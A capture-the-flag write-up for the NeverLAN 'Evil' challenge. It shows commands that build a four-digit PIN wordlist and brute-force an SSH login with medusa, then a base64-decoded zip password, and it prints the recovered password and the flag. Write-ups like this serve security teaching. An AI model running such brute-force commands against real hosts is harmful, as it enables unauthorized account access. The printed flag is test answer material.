Evil
[Programming]
Evil
You have been tasked with stealing sensitive data from an evil crime lord. do you have what it takes?
ssh neverlan@medusa.neverlanctf.com -p 3333
Recon
After we login we get some instructions.
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
.:INSTRUCTIONS:.
You have been tasked with infultrating
and stealing the login creds from an evil
cyber lord.. Our sources say he locks
down all of his files with a password
you'll need to work your way around this.
keep your eyes peeled and your mind sharp..
we have supplyed you with an intel file located
in your home directory and all the tool's
nessesary for this Mission.
good luck player... Hack the planet!!!
.:END OF INSTRUCTION:.
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
neverlan@medusa-ssh-player:~$ ls -la
total 24
drwxrwxr-x 1 neverlan root 4096 Feb 11 15:10 .
drwxrwxr-x 1 root root 4096 Feb 11 02:02 ..
-rw-rw-r-- 1 root root 54 Feb 11 02:02 .bashrc
drwx------ 2 neverlan neverlan 4096 Feb 11 15:10 .cache
-rw-rw-r-- 1 root root 407 Feb 11 02:02 intel.txt
neverlan@medusa-ssh-player:~$ cat intel.txt
INTEL GATHERED ON MR CTHULHU
+=+=+=+=+=+=+=+=+=+=+=+=+=+
Name: cthulhu
Handle: evil
Location: Twin Falls, Idaho USA
Age: 36
Race: N/A
Threat Level: 10
The recon team has found that mr cthulhu
has a small server with only a 4 digit pin
locking it down. port 22 is open and it seems
to hold some sesitive data on his operations
break the password and get in.
Username: evil
Password: N/A
Address: victim
So we need to find a password to login to ssh, since the server is named medusa
, we will use that to bruteforce.
$ for i in {0000..9999} ; do echo $i >> /tmp/passes ; done
$ medusa -h victim -u evil -P /tmp/passes -t 100 > /tmp/m.out
$ grep FOUND /tmp/m.out
2020-02-11 15:27:54 ACCOUNT FOUND: [ssh] Host: victim User: evil Password: 0024 [SUCCESS]
With the found password we login on the next system. There we find a hint.txt
and a zip file.
$ ssh evil@victim
evil@f9e61742e9f8:~$ cat hint.txt
+-----------------------------------------------------+
| My location is worthless but My name is everything. |
+-----------------------------------------------------+
$ echo c3RvbmVjb2xk | base64 -d
stonecold
$ unzip c3RvbmVjb2xk.zip
$ cat flag.txt
FLAG{d0nt_l00k_int0_h3r_Eyes!}
Flag
FLAG{d0nt_l00k_int0_h3r_Eyes!}